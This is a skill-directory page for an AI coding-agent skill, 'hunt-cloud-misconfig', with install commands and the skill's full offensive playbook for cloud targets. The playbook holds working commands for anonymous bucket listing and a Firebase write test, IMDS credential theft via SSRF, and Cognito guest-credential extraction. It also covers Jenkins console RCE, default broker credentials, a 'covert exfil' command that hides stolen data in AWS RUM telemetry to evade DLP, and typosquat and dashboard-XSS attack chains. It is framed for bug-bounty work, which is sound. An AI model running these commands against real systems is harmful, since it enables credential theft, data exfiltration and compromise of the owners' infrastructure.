hunt-cloud-misconfig — Claude Code skill: what it does, how to install
hunt-cloud-misconfig finds storage leaks, exposed admin dashboards, and IAM misconfigurations across AWS, GCP, and Azure. Useful for infrastructure audits and offensive recon.
MIT ★ 16,193 updated 2026-10-29
/plugin marketplace add elementalsouls/Claude-BugHunter
/plugin install claude-bughunter@elementalsoulsWhat hunt-cloud-misconfig does
The skill provides reconnaissance commands and verification steps for cloud infrastructure security. It targets exposed object storage (AWS S3, Google Cloud Storage, Azure Blob), serverless endpoints, and instance metadata reachable through SSRF. It also details attack chains for CloudWatch RUM snippets found in client-side JavaScript bundles, showing how over-permissioned guest IAM roles let unauthenticated users obtain STS credentials via Cognito.
For local reproduction without cloud expenses, the workflow runs LocalStack 3.0 community in Docker. Using awscli version 2.30 or newer without AWS_REQUEST_CHECKSUM_CALCULATION=when_required triggers an InvalidRequest failure on S3 commands. The skill sets the required environment flags alongside dummy credentials to keep local verification functional.
Scope boundaries are explicit. Container and Kubernetes issues belong to hunt-k8s, CI/CD pipeline auditing is handled by hunt-cicd, and deeper IAM privilege escalation after obtaining credentials belongs to cloud-iam-deep.
What it helps with
- Detect publicly accessible S3 buckets, GCS buckets, and Azure Blob containers
- Extract CloudWatch RUM parameters from frontend bundles to test guest role access
- Verify SSRF access to EC2 instance metadata endpoints
- Audit exposed message brokers and Jenkins consoles for missing authentication
Example prompts for the agent
- Audit this project's JavaScript bundles for exposed CloudWatch RUM configurations and Cognito identity pools
- Set up a local LocalStack 3.0 test lab to verify our S3 bucket policy restrictions
- Check our list of hosts for exposed RabbitMQ or Jenkins administrative interfaces
How to install hunt-cloud-misconfig
1Plugin marketplace
/plugin marketplace add elementalsouls/Claude-BugHunter/plugin install claude-bughunter@elementalsoulsThis installs the whole claude-bughunter plugin with all its skills
2Skills CLI (Vercel)
npx skills add elementalsouls/Claude-BugHunter --skill hunt-cloud-misconfig -a claude-code3Manually: put the files in place
~/.claude/skills/hunt-cloud-misconfig/SKILL.mdCopy the whole skill folder; for one project use .claude/skills/hunt-cloud-misconfig/
1Skills CLI (Vercel)
npx skills add elementalsouls/Claude-BugHunter --skill hunt-cloud-misconfig -a codex2Manually: put the files in place
.agents/skills/hunt-cloud-misconfig/SKILL.mdFor all projects use ~/.agents/skills/
1Skills CLI (Vercel)
npx skills add elementalsouls/Claude-BugHunter --skill hunt-cloud-misconfig -a cursor2Manually: put the files in place
.cursor/skills/hunt-cloud-misconfig/SKILL.mdCursor also reads .agents/skills/ and .claude/skills/
1GitHub CLI
gh skill install elementalsouls/Claude-BugHunter skills/hunt-cloud-misconfig2Manually: put the files in place
.github/skills/hunt-cloud-misconfig/SKILL.md1Skills CLI (Vercel)
npx skills add elementalsouls/Claude-BugHunter --skill hunt-cloud-misconfig -a gemini-cli2Platform CLI
gemini skills install https://github.com/elementalsouls/Claude-BugHunter --path skills/hunt-cloud-misconfigManually: put the files in place
.devin/skills/hunt-cloud-misconfig/SKILL.mdThe legacy .windsurf/skills/ path still works
Claude.ai
Zip the folder and upload it in Settings → Capabilities → Skills
Step by step, with commands for each platform: How to install skills in Claude Code: five ways
Questions about hunt-cloud-misconfig
How to install hunt-cloud-misconfig in Claude Code?
Run /plugin marketplace add elementalsouls/Claude-BugHunter and then /plugin install claude-bughunter@elementalsouls inside Claude Code.
What does hunt-cloud-misconfig do?
It equips the agent with specific recon patterns and commands to test AWS, GCP, and Azure infrastructure for leaked credentials, exposed admin panels, and misconfigured storage.
Why does the guide pin LocalStack to version 3.0?
The author pins LocalStack 3.0 Community because starting from version 4.x, LocalStack requires a paid Pro license.
Source text
SKILL.md · MIT
---
name: hunt-cloud-misconfig
description: "Hunt cloud / infrastructure misconfigurations. AWS: public S3 buckets (s3:GetObject anonymous), permissive bucket policies (PutObjectAcl public-write), exposed CloudFront origin, public Lambda function URL, public RDS snapshot, IAM credentials in JS bundles, AWS metadata accessible via SSRF. GCP: public GCS buckets, exposed Cloud Run services, leaked service account JSON. Azure: public blob containers, exposed Function App. (Kubernetes/Docker exposure is owned by hunt-k8s; CI/CD pipeline attacks by hunt-cicd; post-credential IAM escalation by cloud-iam-deep.) Detection: targeted dorking, certificate transparency, JS bundle secret extraction, port scan for known service ports. Validate: actual data read / write / RCE. Use when hunting cloud-native storage and compute misconfig (S3/GCS/Blob, IMDS-via-SSRF, serverless, public managed services)."
sources: hackerone_public, public_research
report_count: 6
---
## 16. CLOUD / INFRA MISCONFIGS
### S3 / GCS / Azure Blob
```bash
# S3 listing
curl -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10"
aws s3 ls s3://target-bucket-name --no-sign-request
# Try common bucket names
for name in target target-backup target-assets target-prod target-staging; do
curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
# Firebase open rules
curl -s "https://TARGET-APP.firebaseio.com/.json" # read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"' # write
```
### EC2 Metadata (via SSRF)
```bash
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME # keys
```
### Exposed Admin Panels
```
/jenkins /grafana /kibana /elasticsearch /swagger-ui.html
/phpMyAdmin /.env /config.json /api-docs /server-status
```
---
### Jenkins SSO-restriction failure → Script Console RCE
An exposed Jenkins that authenticates ANY personal Google/OAuth account (missing org-domain restriction) is full compromise: log in, then `/script` (Groovy console) = RCE, and `/credentials` + `/scriptText` = stored API tokens and source disclosure. Disclosed: reports/231460.
### Exposed message broker (RabbitMQ / AMQP) with default creds
Probe RabbitMQ management (`http://TARGET:15672/`, API `:15672/api/overview`) and AMQP `:5672`; try default `guest:guest` (works off-localhost when `loopback_users` is misconfigured) → queue/message read, vhost enumeration, management-plugin admin. Disclosed: reports/753602.
## Local-verification toolchain
For testing cloud-misconfig findings against a local AWS sim before/instead of hitting real cloud:
```bash
# LocalStack 3.0 community (pin the version — 4.x requires a Pro license)
docker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0
# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):
export AWS_REQUEST_CHECKSUM_CALCULATION=when_required
export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required
export AWS_ENDPOINT_URL=http://localhost:14566
export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1
```
Without those env vars, `aws s3 cp/sync` fails with `InvalidRequest`. Document this for the team. See `docs/verification/phase2j-cloud-localstack.md` for the full reproducible flow.
---
## CloudWatch RUM Weaponization (2024-2026 surface)
AWS CloudWatch RUM (Real-User Monitoring) is a client-side telemetry service launched late 2021. Customers embed a JS snippet on their pages that sends performance/error events to `dataplane.rum.<region>.amazonaws.com`. The snippet's `AppMonitor` config contains an `identityPoolId` (Cognito) and `guestRoleArn` (IAM role) — both **public by design**. The IAM role policy is the security boundary, and when developers leave it broader than the documented minimum (`rum:PutRumEvents` on the AppMonitor ARN), the entire pool becomes the unauthenticated AWS-credential vending machine described in `cloud-iam-deep` → Cognito Identity Pool chain.
### Detection — JS bundle fingerprints
**Snippet-style (most common, embedded in `<head>`):**
```javascript
(function(n,i,v,r,s,c,x,z){...})(
'cwr',
'00000000-0000-0000-0000-000000000000', // applicationId (UUID)
'1.0.0',
'us-east-1',
'https://client.rum.us-east-1.amazonaws.com/1.x/cwr.js',
{
sessionSampleRate: 1,
guestRoleArn: "arn:aws:iam::123456789012:role/RUM-Monitor-...-Unauth",
identityPoolId: "us-east-1:abcd1234-...",
endpoint: "https://dataplane.rum.us-east-1.amazonaws.com",
telemetries: ["errors","performance","http"]
}
);
```
**NPM-style (aws-rum-web package):**
```javascript
import { AwsRum, AwsRumConfig } from 'aws-rum-web';
const config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... };
const awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config);
```
### Regex set for recon
```bash
# Detect RUM init
grep -REn "cwr\(['\"]init['\"]|from\s+['\"]aws-rum-web['\"]|new\s+AwsRum\(" .
# Extract applicationId (UUID v4)
grep -ErohE "applicationId['\"]?\s*[:=]\s*['\"]([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})['\"]" .
# Extract identityPoolId (region:UUID)
grep -ErohE "identityPoolId['\"]?\s*[:=]\s*['\"]([a-z]{2}-[a-z]+-[0-9]+:[0-9a-f-]{36})['\"]" .
# Extract guestRoleArn (leaks AWS account ID + role name)
grep -ErohE "guestRoleArn['\"]?\s*[:=]\s*['\"]arn:aws:iam::[0-9]{12}:role/[A-Za-z0-9._/-]+['\"]" .
# Endpoint reveals region
grep -ErohE "dataplane\.rum\.[a-z0-9-]+\.amazonaws\.com" .
```
### Attack chains
**Chain A — Credential extraction (Critical when guestRole is over-permissioned).** Once `identityPoolId` is extracted from the page, anyone runs:
```bash
aws cognito-identity get-id \
--identity-pool-id "us-east-1:abcd1234-..." \
--region us-east-1 --no-sign-request
aws cognito-identity get-credentials-for-identity \
--identity-id "us-east-1:<returned-uuid>" \
--region us-east-1 --no-sign-request
# → STS creds; export and:
aws sts get-caller-identity # confirm role
aws s3 ls; aws dynamodb list-tables; aws lambda list-functions; aws ssm describe-parameters; aws secretsmanager list-secrets
# Automate: pacu / enumerate-iam.py
```
Full chain documented in `cloud-iam-deep` → Cognito Identity Pool unauthenticated chain. RUM is one common embedding context.
**Chain B — Telemetry endpoint covert exfil.** `dataplane.rum.<region>.amazonaws.com` is an **AWS-owned domain on every enterprise allowlist**. The `PutRumEvents` payload accepts arbitrary `userDetails` and `customEvents` string fields:
```bash
aws rum put-rum-events \
--id $(uuidgen) \
--app-monitor-details '{"id":"<appId>","version":"1.0.0"}' \
--user-details '{"userId":"EXFIL_PAYLOAD_HERE","sessionId":"<session>"}' \
--rum-events '[{"id":"'$(uuidgen)'","timestamp":'$(date +%s)',"type":"com.amazon.rum.custom_event","details":"{\"exfil\":\"<base64 of stolen data>\"}"}]' \
--endpoint-url "https://dataplane.rum.us-east-1.amazonaws.com" \
--region us-east-1
```
Defenders watching egress see traffic to a known-good AWS hostname; DLP doesn't parse the JSON body; SIEM rules typically don't ingest customer RUM telemetry.
**Chain C — DOM injection via snippet source poisoning.** Many customers either self-host `cwr.js` on their own CDN (`assets.target.com/cwr.js`) or bundle `aws-rum-web` and serve from `static.target.com/main.<hash>.js`. Subdomain takeover on the JS host or supply-chain compromise (npm typosquat against `aws-rum-webb`) gives persistent JS execution on every page-load with the trust of the `aws-rum-web` SDK — including its already-granted Cognito permissions.
**Chain D — Telemetry injection / dashboard poisoning.** With the public `identityPoolId` + `applicationId`, an external attacker can flood `PutRumEvents` with fake error spikes (drown real alerts), inject XSS payloads into page-URL telemetry that fire when an SOC analyst views the CloudWatch dashboard, and inflate billable RUM event counts (financial DoS).
### Severity rubric
| Finding | Severity | Justification |
|---|---|---|
| `guestRoleArn` with `*:*` or wildcards on multiple services | **Critical** (9.1+) | Anonymous full AWS access |
| `guestRoleArn` with `s3:*`, `dynamodb:*`, `secretsmanager:*`, `lambda:Invoke*` on production resources | **High** (7.5-8.8) | Data exfil / RCE depending on resource |
| `guestRoleArn` with `cognito-identity:*` or `iam:PassRole` | **High** (8.0) | Privilege escalation primitive |
| `guestRoleArn` with only `rum:PutRumEvents` + endpoint-scoped resource | **Informational** | Documented, intended config |
| RUM `userDetails` logging PII into events viewable in CloudWatch console | **Medium** (5.3-6.5) | Sensitive data exposure via dashboard sharing |
| RUM AppMonitor accepts `PutRumEvents` from arbitrary internet sources (telemetry injection) | **Low-Medium** (4.3) | Dashboard poisoning, alert evasion, billing DoS |
| Self-hosted `cwr.js` on takeoverable subdomain | **Critical** (9.8) when chained | Persistent stored XSS across every customer page |
### Disclosed cases / authoritative writeups
No CVE assigned specifically to AWS RUM as of 2026-05. The attack class is documented in research but specific named bug-bounty payouts on RUM are rare in public hacktivity. The pattern is "Cognito identity pool over-permission via embedded SDK" — RUM is one common embedding.
- **Andres Riancho — "Misconfigured Cognito Identity Pools" (2020/2023)** — establishes the attack class. [andresriancho.com](https://andresriancho.com/identity-pools-and-the-default-iam-role-trap/)
- **Rhino Security Labs — Pacu `cognito__enum_identity_pools`** — production tooling that automates Chain A. [github.com/RhinoSecurityLabs/pacu](https://github.com/RhinoSecurityLabs/pacu)
- **NotSoSecure / Claranet — "Exploiting weak configurations in Amazon Cognito" (Nov 2023)** — explicitly calls out RUM as one of three SDKs commonly leaking the pool ID. [notsosecure.com](https://www.notsosecure.com/exploiting-weak-configurations-in-amazon-cognito/)
- **HackTricks Cloud — `aws-cognito-unauthenticated-enum`** — canonical playbook. [cloud.hacktricks.wiki](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.html)
- **Datadog Security Labs — "Following AWS Logs Backwards: Cognito Identity Pool Abuse" (2024)** — telemetry showing real-world abuse rates. [securitylabs.datadoghq.com](https://securitylabs.datadoghq.com/articles/abusing-aws-cognito-misconfigurations/)
- **aws-observability/aws-rum-web GitHub issues #213, #404** — community discussion of the bundled-snippet security model. [github.com/aws-observability/aws-rum-web](https://github.com/aws-observability/aws-rum-web/issues)
### Validation checklist (before reporting)
1. Extract `identityPoolId` from page source.
2. Confirm pool allows unauth identities (`get-id` succeeds without auth).
3. Confirm `get-credentials-for-identity` returns STS creds.
4. Run `aws sts get-caller-identity` and **screenshot the role ARN**.
5. Run `enumerate-iam` / Pacu `iam__enum_permissions` — capture **at least one allowed action beyond `rum:PutRumEvents`**. Without this, the finding is Informational.
6. Demonstrate at least one read/list against a real resource (S3 bucket list, DynamoDB scan, Lambda invoke).
7. **Do not** modify/delete data even if permitted — read-only PoC only.
---
## Related Skills & Chains
- **`hunt-subdomain`** — Stale CNAMEs pointing to deleted buckets are a takeover gold mine. Chain primitive: Cloud misconfig (S3 public/deleted) + `hunt-subdomain` → unclaimed CNAME points to bucket → `assets.target.com` takeover.
- **`cloud-iam-deep`** — A leaked SA JSON / AWS key in a public bucket is only half the bug. Chain primitive: Public S3 + leaked AWS key in `.env` → `cloud-iam-deep` enumeration → cross-service `iam:PassRole` escalation.
- **`hunt-ssrf`** — Metadata service is reachable only from inside the VPC; SSRF is the bridge. Chain primitive: SSRF + cloud misconfig (IMDSv1 still enabled) → instance role keys → S3/RDS data read.
- **`supply-chain-attack-recon`** — Exposed CI/CD endpoints and SBOMs reveal internal package names. Chain primitive: Exposed Jenkins/GitLab + internal package name leak → npm/PyPI dependency-confusion publish → CI build pwn.
- **`security-arsenal`** — Load the Cloud Bucket Wordlist (target-prod / target-backup / target-staging permutations) and the Admin-Panel Path List for fast enumeration.
- **`triage-validation`** — Apply the Unique-Marker gate: any "writable bucket" claim requires a write of a unique marker file and a read-back from a clean session before report submission.
© Sachin Sharma · MIT · elementalsouls/Claude-BugHunter